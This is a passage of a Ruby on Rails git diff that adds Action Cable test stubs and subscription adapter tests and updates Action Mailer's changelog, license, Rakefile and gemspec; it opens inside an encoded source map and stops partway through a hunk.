CAgICAgIH0sXG4gICAgICAgIHNldDogZnVuY3Rpb24gc2V0KGxpc3RlbmVyKSB7XG4gICAgICAgICAgdGhpcy5hZGRFdmVudExpc3RlbmVyKCdtZXNzYWdlJywgbGlzdGVuZXIpO1xuICAgICAgICB9XG4gICAgICB9LFxuICAgICAgb25jbG9zZToge1xuICAgICAgICBjb25maWd1cmFibGU6IHRydWUsXG4gICAgICAgIGVudW1lcmFibGU6IHRydWUsXG4gICAgICAgIGdldDogZnVuY3Rpb24gZ2V0KCkge1xuICAgICAgICAgIHJldHVybiB0aGlzLmxpc3RlbmVycy5jbG9zZTtcbiAgICAgICAgfSxcbiAgICAgICAgc2V0OiBmdW5jdGlvbiBzZXQobGlzdGVuZXIpIHtcbiAgICAgICAgICB0aGlzLmFkZEV2ZW50TGlzdGVuZXIoJ2Nsb3NlJywgbGlzdGVuZXIpO1xuICAgICAgICB9XG4gICAgICB9LFxuICAgICAgb25lcnJvcjoge1xuICAgICAgICBjb25maWd1cmFibGU6IHRydWUsXG4gICAgICAgIGVudW1lcmFibGU6IHRydWUsXG4gICAgICAgIGdldDogZnVuY3Rpb24gZ2V0KCkge1xuICAgICAgICAgIHJldHVybiB0aGlzLmxpc3RlbmVycy5lcnJvcjtcbiAgICAgICAgfSxcbiAgICAgICAgc2V0OiBmdW5jdGlvbiBzZXQobGlzdGVuZXIpIHtcbiAgICAgICAgICB0aGlzLmFkZEV2ZW50TGlzdGVuZXIoJ2Vycm9yJywgbGlzdGVuZXIpO1xuICAgICAgICB9XG4gICAgICB9XG4gICAgfSk7XG5cbiAgICB2YXIgc2VydmVyID0gX25ldHdvcmtCcmlkZ2UyWydkZWZhdWx0J10uYXR0YWNoV2ViU29ja2V0KHRoaXMsIHRoaXMudXJsKTtcblxuICAgIC8qXG4gICAgKiBUaGlzIGRlbGF5IGlzIG5lZWRlZCBzbyB0aGF0IHdlIGRvbnQgdHJpZ2dlciBhbiBldmVudCBiZWZvcmUgdGhlIGNhbGxiYWNrcyBoYXZlIGJlZW5cbiAgICAqIHNldHVwLiBGb3IgZXhhbXBsZTpcbiAgICAqXG4gICAgKiB2YXIgc29ja2V0ID0gbmV3IFdlYlNvY2tldCgnd3M6Ly9sb2NhbGhvc3QnKTtcbiAgICAqXG4gICAgKiAvLyBJZiB3ZSBkb250IGhhdmUgdGhlIGRlbGF5IHRoZW4gdGhlIGV2ZW50IHdvdWxkIGJlIHRyaWdnZXJlZCByaWdodCBoZXJlIGFuZCB0aGlzIGlzXG4gICAgKiAvLyBiZWZvcmUgdGhlIG9ub3BlbiBoYWQgYSBjaGFuY2UgdG8gcmVnaXN0ZXIgaXRzZWxmLlxuICAgICpcbiAgICAqIHNvY2tldC5vbm9wZW4gPSAoKSA9PiB7IC8vIHRoaXMgd291bGQgbmV2ZXIgYmUgY2FsbGVkIH07XG4gICAgKlxuICAgICogLy8gYW5kIHdpdGggdGhlIGRlbGF5IHRoZSBldmVudCBnZXRzIHRyaWdnZXJlZCBoZXJlIGFmdGVyIGFsbCBvZiB0aGUgY2FsbGJhY2tzIGhhdmUgYmVlblxuICAgICogLy8gcmVnaXN0ZXJlZCA6LSlcbiAgICAqL1xuICAgICgwLCBfaGVscGVyc0RlbGF5MlsnZGVmYXVsdCddKShmdW5jdGlvbiBkZWxheUNhbGxiYWNrKCkge1xuICAgICAgaWYgKHNlcnZlcikge1xuICAgICAgICB0aGlzLnJlYWR5U3RhdGUgPSBXZWJTb2NrZXQuT1BFTjtcbiAgICAgICAgc2VydmVyLmRpc3BhdGNoRXZlbnQoKDAsIF9ldmVudEZhY3RvcnkuY3JlYXRlRXZlbnQpKHsgdHlwZTogJ2Nvbm5lY3Rpb24nIH0pLCBzZXJ2ZXIsIHRoaXMpO1xuICAgICAgICB0aGlzLmRpc3BhdGNoRXZlbnQoKDAsIF9ldmVudEZhY3RvcnkuY3JlYXRlRXZlbnQpKHsgdHlwZTogJ29wZW4nLCB0YXJnZXQ6IHRoaXMgfSkpO1xuICAgICAgfSBlbHNlIHtcbiAgICAgICAgdGhpcy5yZWFkeVN0YXRlID0gV2ViU29ja2V0LkNMT1NFRDtcbiAgICAgICAgdGhpcy5kaXNwYXRjaEV2ZW50KCgwLCBfZXZlbnRGYWN0b3J5LmNyZWF0ZUV2ZW50KSh7IHR5cGU6ICdlcnJvcicsIHRhcmdldDogdGhpcyB9KSk7XG4gICAgICAgIHRoaXMuZGlzcGF0Y2hFdmVudCgoMCwgX2V2ZW50RmFjdG9yeS5jcmVhdGVDbG9zZUV2ZW50KSh7IHR5cGU6ICdjbG9zZScsIHRhcmdldDogdGhpcywgY29kZTogX2hlbHBlcnNDbG9zZUNvZGVzMlsnZGVmYXVsdCddLkNMT1NFX05PUk1BTCB9KSk7XG5cbiAgICAgICAgY29uc29sZS5lcnJvcignV2ViU29ja2V0IGNvbm5lY3Rpb24gdG8gXFwnJyArIHRoaXMudXJsICsgJ1xcJyBmYWlsZWQnKTtcbiAgICAgIH1cbiAgICB9LCB0aGlzKTtcbiAgfVxuXG4gIC8qXG4gICogVHJhbnNtaXRzIGRhdGEgdG8gdGhlIHNlcnZlciBvdmVyIHRoZSBXZWJTb2NrZXQgY29ubmVjdGlvbi5cbiAgKlxuICAqIGh0dHBzOi8vZGV2ZWxvcGVyLm1vemlsbGEub3JnL2VuLVVTL2RvY3MvV2ViL0FQSS9XZWJTb2NrZXQjc2VuZCgpXG4gICovXG5cbiAgX2NyZWF0ZUNsYXNzKFdlYlNvY2tldCwgW3tcbiAgICBrZXk6ICdzZW5kJyxcbiAgICB2YWx1ZTogZnVuY3Rpb24gc2VuZChkYXRhKSB7XG4gICAgICBpZiAodGhpcy5yZWFkeVN0YXRlID09PSBXZWJTb2NrZXQuQ0xPU0lORyB8fCB0aGlzLnJlYWR5U3RhdGUgPT09IFdlYlNvY2tldC5DTE9TRUQpIHtcbiAgICAgICAgdGhyb3cgbmV3IEVycm9yKCdXZWJTb2NrZXQgaXMgYWxyZWFkeSBpbiBDTE9TSU5HIG9yIENMT1NFRCBzdGF0ZScpO1xuICAgICAgfVxuXG4gICAgICB2YXIgbWVzc2FnZUV2ZW50ID0gKDAsIF9ldmVudEZhY3RvcnkuY3JlYXRlTWVzc2FnZUV2ZW50KSh7XG4gICAgICAgIHR5cGU6ICdtZXNzYWdlJyxcbiAgICAgICAgb3JpZ2luOiB0aGlzLnVybCxcbiAgICAgICAgZGF0YTogZGF0YVxuICAgICAgfSk7XG5cbiAgICAgIHZhciBzZXJ2ZXIgPSBfbmV0d29ya0JyaWRnZTJbJ2RlZmF1bHQnXS5zZXJ2ZXJMb29rdXAodGhpcy51cmwpO1xuXG4gICAgICBpZiAoc2VydmVyKSB7XG4gICAgICAgIHNlcnZlci5kaXNwYXRjaEV2ZW50KG1lc3NhZ2VFdmVudCwgZGF0YSk7XG4gICAgICB9XG4gICAgfVxuXG4gICAgLypcbiAgICAqIENsb3NlcyB0aGUgV2ViU29ja2V0IGNvbm5lY3Rpb24gb3IgY29ubmVjdGlvbiBhdHRlbXB0LCBpZiBhbnkuXG4gICAgKiBJZiB0aGUgY29ubmVjdGlvbiBpcyBhbHJlYWR5IENMT1NFRCwgdGhpcyBtZXRob2QgZG9lcyBub3RoaW5nLlxuICAgICpcbiAgICAqIGh0dHBzOi8vZGV2ZWxvcGVyLm1vemlsbGEub3JnL2VuLVVTL2RvY3MvV2ViL0FQSS9XZWJTb2NrZXQjY2xvc2UoKVxuICAgICovXG4gIH0sIHtcbiAgICBrZXk6ICdjbG9zZScsXG4gICAgdmFsdWU6IGZ1bmN0aW9uIGNsb3NlKCkge1xuICAgICAgaWYgKHRoaXMucmVhZHlTdGF0ZSAhPT0gV2ViU29ja2V0Lk9QRU4pIHtcbiAgICAgICAgcmV0dXJuIHVuZGVmaW5lZDtcbiAgICAgIH1cblxuICAgICAgdmFyIHNlcnZlciA9IF9uZXR3b3JrQnJpZGdlMlsnZGVmYXVsdCddLnNlcnZlckxvb2t1cCh0aGlzLnVybCk7XG4gICAgICB2YXIgY2xvc2VFdmVudCA9ICgwLCBfZXZlbnRGYWN0b3J5LmNyZWF0ZUNsb3NlRXZlbnQpKHtcbiAgICAgICAgdHlwZTogJ2Nsb3NlJyxcbiAgICAgICAgdGFyZ2V0OiB0aGlzLFxuICAgICAgICBjb2RlOiBfaGVscGVyc0Nsb3NlQ29kZXMyWydkZWZhdWx0J10uQ0xPU0VfTk9STUFMXG4gICAgICB9KTtcblxuICAgICAgX25ldHdvcmtCcmlkZ2UyWydkZWZhdWx0J10ucmVtb3ZlV2ViU29ja2V0KHRoaXMsIHRoaXMudXJsKTtcblxuICAgICAgdGhpcy5yZWFkeVN0YXRlID0gV2ViU29ja2V0LkNMT1NFRDtcbiAgICAgIHRoaXMuZGlzcGF0Y2hFdmVudChjbG9zZUV2ZW50KTtcblxuICAgICAgaWYgKHNlcnZlcikge1xuICAgICAgICBzZXJ2ZXIuZGlzcGF0Y2hFdmVudChjbG9zZUV2ZW50LCBzZXJ2ZXIpO1xuICAgICAgfVxuICAgIH1cbiAgfV0pO1xuXG4gIHJldHVybiBXZWJTb2NrZXQ7XG59KShfZXZlbnRUYXJnZXQyWydkZWZhdWx0J10pO1xuXG5XZWJTb2NrZXQuQ09OTkVDVElORyA9IDA7XG5XZWJTb2NrZXQuT1BFTiA9IDE7XG5XZWJTb2NrZXQuQ0xPU0lORyA9IDI7XG5XZWJTb2NrZXQuQ0xPU0VEID0gMztcblxuZXhwb3J0c1snZGVmYXVsdCddID0gV2ViU29ja2V0O1xubW9kdWxlLmV4cG9ydHMgPSBleHBvcnRzWydkZWZhdWx0J107Il19 diff --git a/actioncable/test/server/broadcasting_test.rb b/actioncable/test/server/broadcasting_test.rb new file mode 100644 index 0000000000..3b4a7eaf90 --- /dev/null +++ b/actioncable/test/server/broadcasting_test.rb @@ -0,0 +1,15 @@ +require "test_helper" + +class BroadcastingTest < ActiveSupport::TestCase + class TestServer + include ActionCable::Server::Broadcasting + end + + test "fetching a broadcaster converts the broadcasting queue to a string" do + broadcasting = :test_queue + server = TestServer.new + broadcaster = server.broadcaster_for(broadcasting) + + assert_equal "test_queue", broadcaster.broadcasting + end +end diff --git a/actioncable/test/stubs/global_id.rb b/actioncable/test/stubs/global_id.rb new file mode 100644 index 0000000000..334f0d03e8 --- /dev/null +++ b/actioncable/test/stubs/global_id.rb @@ -0,0 +1,8 @@ +class GlobalID + attr_reader :uri + delegate :to_param, :to_s, to: :uri + + def initialize(gid, options = {}) + @uri = gid + end +end diff --git a/actioncable/test/stubs/room.rb b/actioncable/test/stubs/room.rb new file mode 100644 index 0000000000..cd66a0b687 --- /dev/null +++ b/actioncable/test/stubs/room.rb @@ -0,0 +1,16 @@ +class Room + attr_reader :id, :name + + def initialize(id, name='Campfire') + @id = id + @name = name + end + + def to_global_id + GlobalID.new("Room##{id}-#{name}") + end + + def to_gid_param + to_global_id.to_param + end +end diff --git a/actioncable/test/stubs/test_adapter.rb b/actioncable/test/stubs/test_adapter.rb new file mode 100644 index 0000000000..bbd142b287 --- /dev/null +++ b/actioncable/test/stubs/test_adapter.rb @@ -0,0 +1,10 @@ +class SuccessAdapter < ActionCable::SubscriptionAdapter::Base + def broadcast(channel, payload) + end + + def subscribe(channel, callback, success_callback = nil) + end + + def unsubscribe(channel, callback) + end +end diff --git a/actioncable/test/stubs/test_connection.rb b/actioncable/test/stubs/test_connection.rb new file mode 100644 index 0000000000..885450dda6 --- /dev/null +++ b/actioncable/test/stubs/test_connection.rb @@ -0,0 +1,33 @@ +require 'stubs/user' + +class TestConnection + attr_reader :identifiers, :logger, :current_user, :server, :transmissions + + delegate :pubsub, to: :server + + def initialize(user = User.new("lifo"), coder: ActiveSupport::JSON, subscription_adapter: SuccessAdapter) + @coder = coder + @identifiers = [ :current_user ] + + @current_user = user + @logger = ActiveSupport::TaggedLogging.new ActiveSupport::Logger.new(StringIO.new) + @server = TestServer.new(subscription_adapter: subscription_adapter) + @transmissions = [] + end + + def transmit(cable_message) + @transmissions << encode(cable_message) + end + + def last_transmission + decode @transmissions.last if @transmissions.any? + end + + def decode(websocket_message) + @coder.decode websocket_message + end + + def encode(cable_message) + @coder.encode cable_message + end +end diff --git a/actioncable/test/stubs/test_server.rb b/actioncable/test/stubs/test_server.rb new file mode 100644 index 0000000000..b86f422a13 --- /dev/null +++ b/actioncable/test/stubs/test_server.rb @@ -0,0 +1,38 @@ +require 'ostruct' + +class TestServer + include ActionCable::Server::Connections + include ActionCable::Server::Broadcasting + + attr_reader :logger, :config, :mutex + + def initialize(subscription_adapter: SuccessAdapter) + @logger = ActiveSupport::TaggedLogging.new ActiveSupport::Logger.new(StringIO.new) + + @config = OpenStruct.new(log_tags: [], subscription_adapter: subscription_adapter) + @config.use_faye = ENV['FAYE'].present? + @config.client_socket_class = if @config.use_faye + ActionCable::Connection::FayeClientSocket + else + ActionCable::Connection::ClientSocket + end + + @mutex = Monitor.new + end + + def pubsub + @pubsub ||= @config.subscription_adapter.new(self) + end + + def event_loop + @event_loop ||= if @config.use_faye + ActionCable::Connection::FayeEventLoop.new + else + ActionCable::Connection::StreamEventLoop.new + end + end + + def worker_pool + @worker_pool ||= ActionCable::Server::Worker.new(max_size: 5) + end +end diff --git a/actioncable/test/stubs/user.rb b/actioncable/test/stubs/user.rb new file mode 100644 index 0000000000..a66b4f87d5 --- /dev/null +++ b/actioncable/test/stubs/user.rb @@ -0,0 +1,15 @@ +class User + attr_reader :name + + def initialize(name) + @name = name + end + + def to_global_id + GlobalID.new("User##{name}") + end + + def to_gid_param + to_global_id.to_param + end +end diff --git a/actioncable/test/subscription_adapter/async_test.rb b/actioncable/test/subscription_adapter/async_test.rb new file mode 100644 index 0000000000..8f413f14c2 --- /dev/null +++ b/actioncable/test/subscription_adapter/async_test.rb @@ -0,0 +1,17 @@ +require 'test_helper' +require_relative './common' + +class AsyncAdapterTest < ActionCable::TestCase + include CommonSubscriptionAdapterTest + + def setup + super + + @tx_adapter.shutdown + @tx_adapter = @rx_adapter + end + + def cable_config + { adapter: 'async' } + end +end diff --git a/actioncable/test/subscription_adapter/base_test.rb b/actioncable/test/subscription_adapter/base_test.rb new file mode 100644 index 0000000000..256dce673f --- /dev/null +++ b/actioncable/test/subscription_adapter/base_test.rb @@ -0,0 +1,73 @@ +require 'test_helper' +require 'stubs/test_server' + +class ActionCable::SubscriptionAdapter::BaseTest < ActionCable::TestCase + ## TEST THAT ERRORS ARE RETURNED FOR INHERITORS THAT DON'T OVERRIDE METHODS + + class BrokenAdapter < ActionCable::SubscriptionAdapter::Base + end + + setup do + @server = TestServer.new + @server.config.subscription_adapter = BrokenAdapter + @server.config.allowed_request_origins = %w( http://rubyonrails.com ) + end + + test "#broadcast returns NotImplementedError by default" do + assert_raises NotImplementedError do + BrokenAdapter.new(@server).broadcast('channel', 'payload') + end + end + + test "#subscribe returns NotImplementedError by default" do + callback = lambda { puts 'callback' } + success_callback = lambda { puts 'success' } + + assert_raises NotImplementedError do + BrokenAdapter.new(@server).subscribe('channel', callback, success_callback) + end + end + + test "#unsubscribe returns NotImplementedError by default" do + callback = lambda { puts 'callback' } + + assert_raises NotImplementedError do + BrokenAdapter.new(@server).unsubscribe('channel', callback) + end + end + + # TEST METHODS THAT ARE REQUIRED OF THE ADAPTER'S BACKEND STORAGE OBJECT + + test "#broadcast is implemented" do + broadcast = SuccessAdapter.new(@server).broadcast('channel', 'payload') + + assert_respond_to(SuccessAdapter.new(@server), :broadcast) + + assert_nothing_raised do + broadcast + end + end + + test "#subscribe is implemented" do + callback = lambda { puts 'callback' } + success_callback = lambda { puts 'success' } + subscribe = SuccessAdapter.new(@server).subscribe('channel', callback, success_callback) + + assert_respond_to(SuccessAdapter.new(@server), :subscribe) + + assert_nothing_raised do + subscribe + end + end + + test "#unsubscribe is implemented" do + callback = lambda { puts 'callback' } + unsubscribe = SuccessAdapter.new(@server).unsubscribe('channel', callback) + + assert_respond_to(SuccessAdapter.new(@server), :unsubscribe) + + assert_nothing_raised do + unsubscribe + end + end +end diff --git a/actioncable/test/subscription_adapter/common.rb b/actioncable/test/subscription_adapter/common.rb new file mode 100644 index 0000000000..285c690df0 --- /dev/null +++ b/actioncable/test/subscription_adapter/common.rb @@ -0,0 +1,117 @@ +require 'test_helper' +require 'concurrent' + +require 'active_support/core_ext/hash/indifferent_access' +require 'pathname' + +module CommonSubscriptionAdapterTest + WAIT_WHEN_EXPECTING_EVENT = 3 + WAIT_WHEN_NOT_EXPECTING_EVENT = 0.2 + + def setup + server = ActionCable::Server::Base.new + server.config.cable = cable_config.with_indifferent_access + server.config.use_faye = ENV['FAYE'].present? + + adapter_klass = server.config.pubsub_adapter + + @rx_adapter = adapter_klass.new(server) + @tx_adapter = adapter_klass.new(server) + end + + def teardown + [@rx_adapter, @tx_adapter].uniq.each(&:shutdown) + end + + + def subscribe_as_queue(channel, adapter = @rx_adapter) + queue = Queue.new + + callback = -> data { queue << data } + subscribed = Concurrent::Event.new + adapter.subscribe(channel, callback, Proc.new { subscribed.set }) + subscribed.wait(WAIT_WHEN_EXPECTING_EVENT) + assert subscribed.set? + + yield queue + + sleep WAIT_WHEN_NOT_EXPECTING_EVENT + assert_empty queue + ensure + adapter.unsubscribe(channel, callback) if subscribed.set? + end + + + def test_subscribe_and_unsubscribe + subscribe_as_queue('channel') do |queue| + end + end + + def test_basic_broadcast + subscribe_as_queue('channel') do |queue| + @tx_adapter.broadcast('channel', 'hello world') + + assert_equal 'hello world', queue.pop + end + end + + def test_broadcast_after_unsubscribe + keep_queue = nil + subscribe_as_queue('channel') do |queue| + keep_queue = queue + + @tx_adapter.broadcast('channel', 'hello world') + + assert_equal 'hello world', queue.pop + end + + @tx_adapter.broadcast('channel', 'hello void') + + sleep WAIT_WHEN_NOT_EXPECTING_EVENT + assert_empty keep_queue + end + + def test_multiple_broadcast + subscribe_as_queue('channel') do |queue| + @tx_adapter.broadcast('channel', 'bananas') + @tx_adapter.broadcast('channel', 'apples') + + received = [] + 2.times { received << queue.pop } + assert_equal ['apples', 'bananas'], received.sort + end + end + + def test_identical_subscriptions + subscribe_as_queue('channel') do |queue| + subscribe_as_queue('channel') do |queue_2| + @tx_adapter.broadcast('channel', 'hello') + + assert_equal 'hello', queue_2.pop + end + + assert_equal 'hello', queue.pop + end + end + + def test_simultaneous_subscriptions + subscribe_as_queue('channel') do |queue| + subscribe_as_queue('other channel') do |queue_2| + @tx_adapter.broadcast('channel', 'apples') + @tx_adapter.broadcast('other channel', 'oranges') + + assert_equal 'apples', queue.pop + assert_equal 'oranges', queue_2.pop + end + end + end + + def test_channel_filtered_broadcast + subscribe_as_queue('channel') do |queue| + @tx_adapter.broadcast('other channel', 'one') + @tx_adapter.broadcast('channel', 'two') + + assert_equal 'two', queue.pop + end + end +end diff --git a/actioncable/test/subscription_adapter/evented_redis_test.rb b/actioncable/test/subscription_adapter/evented_redis_test.rb new file mode 100644 index 0000000000..6d20e6ed78 --- /dev/null +++ b/actioncable/test/subscription_adapter/evented_redis_test.rb @@ -0,0 +1,21 @@ +require 'test_helper' +require_relative './common' + +class EventedRedisAdapterTest < ActionCable::TestCase + include CommonSubscriptionAdapterTest + + def setup + super + + # em-hiredis is warning-rich + @previous_verbose, $VERBOSE = $VERBOSE, nil + end + + def teardown + $VERBOSE = @previous_verbose + end + + def cable_config + { adapter: 'evented_redis', url: 'redis://127.0.0.1:6379/12' } + end +end diff --git a/actioncable/test/subscription_adapter/inline_test.rb b/actioncable/test/subscription_adapter/inline_test.rb new file mode 100644 index 0000000000..75ea51e6b3 --- /dev/null +++ b/actioncable/test/subscription_adapter/inline_test.rb @@ -0,0 +1,17 @@ +require 'test_helper' +require_relative './common' + +class InlineAdapterTest < ActionCable::TestCase + include CommonSubscriptionAdapterTest + + def setup + super + + @tx_adapter.shutdown + @tx_adapter = @rx_adapter + end + + def cable_config + { adapter: 'inline' } + end +end diff --git a/actioncable/test/subscription_adapter/postgresql_test.rb b/actioncable/test/subscription_adapter/postgresql_test.rb new file mode 100644 index 0000000000..214352a0b2 --- /dev/null +++ b/actioncable/test/subscription_adapter/postgresql_test.rb @@ -0,0 +1,40 @@ +require 'test_helper' +require_relative './common' + +require 'active_record' + +class PostgresqlAdapterTest < ActionCable::TestCase + include CommonSubscriptionAdapterTest + + def setup + database_config = { 'adapter' => 'postgresql', 'database' => 'activerecord_unittest' } + ar_tests = File.expand_path('../../../activerecord/test', __dir__) + if Dir.exist?(ar_tests) + require File.join(ar_tests, 'config') + require File.join(ar_tests, 'support/config') + local_config = ARTest.config['arunit'] + database_config.update local_config if local_config + end + + ActiveRecord::Base.establish_connection database_config + + begin + ActiveRecord::Base.connection + rescue + @rx_adapter = @tx_adapter = nil + skip "Couldn't connect to PostgreSQL: #{database_config.inspect}" + end + + super + end + + def teardown + super + + ActiveRecord::Base.clear_all_connections! + end + + def cable_config + { adapter: 'postgresql' } + end +end diff --git a/actioncable/test/subscription_adapter/redis_test.rb b/actioncable/test/subscription_adapter/redis_test.rb new file mode 100644 index 0000000000..4f34dd86c9 --- /dev/null +++ b/actioncable/test/subscription_adapter/redis_test.rb @@ -0,0 +1,16 @@ +require 'test_helper' +require_relative './common' + +class RedisAdapterTest < ActionCable::TestCase + include CommonSubscriptionAdapterTest + + def cable_config + { adapter: 'redis', driver: 'ruby', url: 'redis://127.0.0.1:6379/12' } + end +end + +class RedisAdapterTest::Hiredis < RedisAdapterTest + def cable_config + super.merge(driver: 'hiredis') + end +end diff --git a/actioncable/test/test_helper.rb b/actioncable/test/test_helper.rb new file mode 100644 index 0000000000..0a9ee7ce77 --- /dev/null +++ b/actioncable/test/test_helper.rb @@ -0,0 +1,73 @@ +require 'action_cable' +require 'active_support/testing/autorun' + +require 'puma' +require 'mocha/setup' +require 'rack/mock' + +begin + require 'byebug' +rescue LoadError +end + +# Require all the stubs and models +Dir[File.dirname(__FILE__) + '/stubs/*.rb'].each {|file| require file } + +if ENV['FAYE'].present? + require 'faye/websocket' + class << Faye::WebSocket + remove_method :ensure_reactor_running + + # We don't want Faye to start the EM reactor in tests because it makes testing much harder. + # We want to be able to start and stop EM loop in tests to make things simpler. + def ensure_reactor_running + # no-op + end + end +end + +module EventMachineConcurrencyHelpers + def wait_for_async + EM.run_deferred_callbacks + end + + def run_in_eventmachine + failure = nil + EM.run do + begin + yield + rescue => ex + failure = ex + ensure + wait_for_async + EM.stop if EM.reactor_running? + end + end + raise failure if failure + end +end + +module ConcurrentRubyConcurrencyHelpers + def wait_for_async + wait_for_executor Concurrent.global_io_executor + end + + def run_in_eventmachine + yield + wait_for_async + end +end + +class ActionCable::TestCase < ActiveSupport::TestCase + if ENV['FAYE'].present? + include EventMachineConcurrencyHelpers + else + include ConcurrentRubyConcurrencyHelpers + end + + def wait_for_executor(executor) + until executor.completed_task_count == executor.scheduled_task_count + sleep 0.1 + end + end +end diff --git a/actioncable/test/worker_test.rb b/actioncable/test/worker_test.rb new file mode 100644 index 0000000000..e2c81fe312 --- /dev/null +++ b/actioncable/test/worker_test.rb @@ -0,0 +1,44 @@ +require 'test_helper' + +class WorkerTest < ActiveSupport::TestCase + class Receiver + attr_accessor :last_action + + def run + @last_action = :run + end + + def process(message) + @last_action = [ :process, message ] + end + + def connection + self + end + + def logger + # Impersonating a connection requires a TaggedLoggerProxy'ied logger. + inner_logger = Logger.new(StringIO.new).tap { |l| l.level = Logger::UNKNOWN } + ActionCable::Connection::TaggedLoggerProxy.new(inner_logger, tags: []) + end + end + + setup do + @worker = ActionCable::Server::Worker.new + @receiver = Receiver.new + end + + teardown do + @receiver.last_action = nil + end + + test "invoke" do + @worker.invoke @receiver, :run, connection: @receiver.connection + assert_equal :run, @receiver.last_action + end + + test "invoke with arguments" do + @worker.invoke @receiver, :process, "Hello", connection: @receiver.connection + assert_equal [ :process, "Hello" ], @receiver.last_action + end +end diff --git a/actionmailer/CHANGELOG.md b/actionmailer/CHANGELOG.md index 86ecb3ee88..3b9f503a0b 100644 --- a/actionmailer/CHANGELOG.md +++ b/actionmailer/CHANGELOG.md @@ -1,56 +1,6 @@ -* Add `assert_enqueued_emails` and `assert_no_enqueued_emails`. +* Exception handling: use `rescue_from` to handle exceptions raised by + mailer actions, by message delivery, and by deferred delivery jobs. - Example: + *Jeremy Daer* - def test_emails - assert_enqueued_emails 2 do - ContactMailer.welcome.deliver_later - ContactMailer.welcome.deliver_later - end - end - - def test_no_emails - assert_no_enqueued_emails do - # No emails enqueued here - end - end - - *George Claghorn* - -* Add `_mailer` suffix to mailers created via generator, following the same - naming convention used in controllers and jobs. - - *Carlos Souza* - -* Remove deprecate `*_path` helpers in email views. - - *Rafael Mendonça França* - -* Remove deprecated `deliver` and `deliver!` methods. - - *claudiob* - -* Template lookup now respects default locale and I18n fallbacks. - - Given the following templates: - - mailer/demo.html.erb - mailer/demo.en.html.erb - mailer/demo.pt.html.erb - - Before this change, for a locale that doesn't have its associated file, the - `mailer/demo.html.erb` would be rendered even if `en` was the default locale. - - Now `mailer/demo.en.html.erb` has precedence over the file without locale. - - Also, it is possible to give a fallback. - - mailer/demo.pt.html.erb - mailer/demo.pt-BR.html.erb - - So if the locale is `pt-PT`, `mailer/demo.pt.html.erb` will be rendered given - the right I18n fallback configuration. - - *Rafael Mendonça França* - -Please check [4-2-stable](https://github.com/rails/rails/blob/4-2-stable/actionmailer/CHANGELOG.md) for previous changes. +Please check [5-0-stable](https://github.com/rails/rails/blob/5-0-stable/actionmailer/CHANGELOG.md) for previous changes. diff --git a/actionmailer/MIT-LICENSE b/actionmailer/MIT-LICENSE index 3ec7a617cf..8573eb1225 100644 --- a/actionmailer/MIT-LICENSE +++ b/actionmailer/MIT-LICENSE @@ -1,4 +1,4 @@ -Copyright (c) 2004-2015 David Heinemeier Hansson +Copyright (c) 2004-2016 David Heinemeier Hansson Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the diff --git a/actionmailer/README.rdoc b/actionmailer/README.rdoc index a4e660d621..397ebe4201 100644 --- a/actionmailer/README.rdoc +++ b/actionmailer/README.rdoc @@ -146,7 +146,7 @@ The Base class has the full list of configuration options. Here's an example: The latest version of Action Mailer can be installed with RubyGems: - % [sudo] gem install actionmailer + $ gem install actionmailer Source code can be downloaded as part of the Rails project on GitHub @@ -173,4 +173,3 @@ Bug reports can be filed for the Ruby on Rails project here: Feature requests should be discussed on the rails-core mailing list here: * https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-core - diff --git a/actionmailer/Rakefile b/actionmailer/Rakefile index 8f4de8fafa..54e6cff48d 100644 --- a/actionmailer/Rakefile +++ b/actionmailer/Rakefile @@ -1,9 +1,11 @@ require 'rake/testtask' -require 'rubygems/package_task' desc "Default Task" task default: [ :test ] +task :package +task "package:clean" + # Run the unit tests Rake::TestTask.new { |t| t.libs << "test" @@ -20,16 +22,3 @@ namespace :test do end or raise "Failures" end end - -spec = eval(File.read('actionmailer.gemspec')) - -Gem::PackageTask.new(spec) do |p| - p.gem_spec = spec -end - -desc "Release to rubygems" -task release: :package do - require 'rake/gemcutter' - Rake::Gemcutter::Tasks.new(spec).define - Rake::Task['gem:push'].invoke -end diff --git a/actionmailer/actionmailer.gemspec b/actionmailer/actionmailer.gemspec index 41913899ff..25e3bcb2e9 100644 --- a/actionmailer/actionmailer.gemspec +++ b/actionmailer/actionmailer.gemspec @@ -7,13 +7,13 @@ Gem::Specification.new do |s| s.summary = 'Email composition, delivery, and receiving framework (part of Rails).' s.description = 'Email on Rails. Compose, deliver, receive, and test emails using the familiar controller/view pattern. First-class support for multipart email and attachments.' - s.required_ruby_version = '>= 2.2.1' + s.required_ruby_version = '>= 2.2.2' s.license = 'MIT' s.author = 'David Heinemeier Hansson' s.email = 'david@loudthinking.com' - s.homepage = 'http://www.rubyonrails.org' + s.homepage = 'http://rubyonrails.org' s.files = Dir['CHANGELOG.md', 'README.rdoc', 'MIT-LICENSE', 'lib/**/*'] s.require_path = 'lib' @@ -24,5 +24,5 @@ Gem::Specification.new do |s| s.add_dependency 'activejob', version s.add_dependency 'mail', ['~> 2.5', '>= 2.5.4'] - s.add_dependency 'rails-dom-testing', '~> 1.0', '>= 1.0.5' + s.add_dependency 'rails-dom-testing', '~> 2.0' end diff --git a/actionmailer/bin/test b/actionmailer/bin/test new file mode 100755 index 0000000000..404cabba51 --- /dev/null +++ b/actionmailer/bin/test @@ -0,0 +1,4 @@ +#!/usr/bin/env ruby +COMPONENT_ROOT = File.expand_path("../../", __FILE__) +require File.expand_path("../tools/test", COMPONENT_ROOT) +exit Minitest.run(ARGV) diff --git a/actionmailer/lib/action_mailer.rb b/actionmailer/lib/action_mailer.rb index 17d8dcc208..55c017e338 100644 --- a/actionmailer/lib/action_mailer.rb +++ b/actionmailer/lib/action_mailer.rb @@ -1,5 +1,5 @@ #-- -# Copyright (c) 2004-2015 David Heinemeier Hansson +# Copyright (c) 2004-2016 David Heinemeier Hansson # # Permission is hereby granted, free of charge, to any person obtaining # a copy of this software and associated documentation files (the @@ -40,6 +40,7 @@ module ActionMailer autoload :Base autoload :DeliveryMethods + autoload :InlinePreviewInterceptor autoload :MailHelper autoload :Preview autoload :Previews, 'action_mailer/preview' @@ -48,3 +49,10 @@ module ActionMailer autoload :MessageDelivery autoload :DeliveryJob end + +autoload :Mime, 'action_dispatch/http/mime_type' + +ActiveSupport.on_load(:action_view) do + ActionView::Base.default_formats ||= Mime::SET.symbols + ActionView::Template::Types.delegate_to Mime +end diff --git a/actionmailer/lib/action_mailer/base.rb b/actionmailer/lib/action_mailer/base.rb index c7f09ed192..ea5af9e4f2 100644 --- a/actionmailer/lib/action_mailer/base.rb +++ b/actionmailer/lib/action_mailer/base.rb @@ 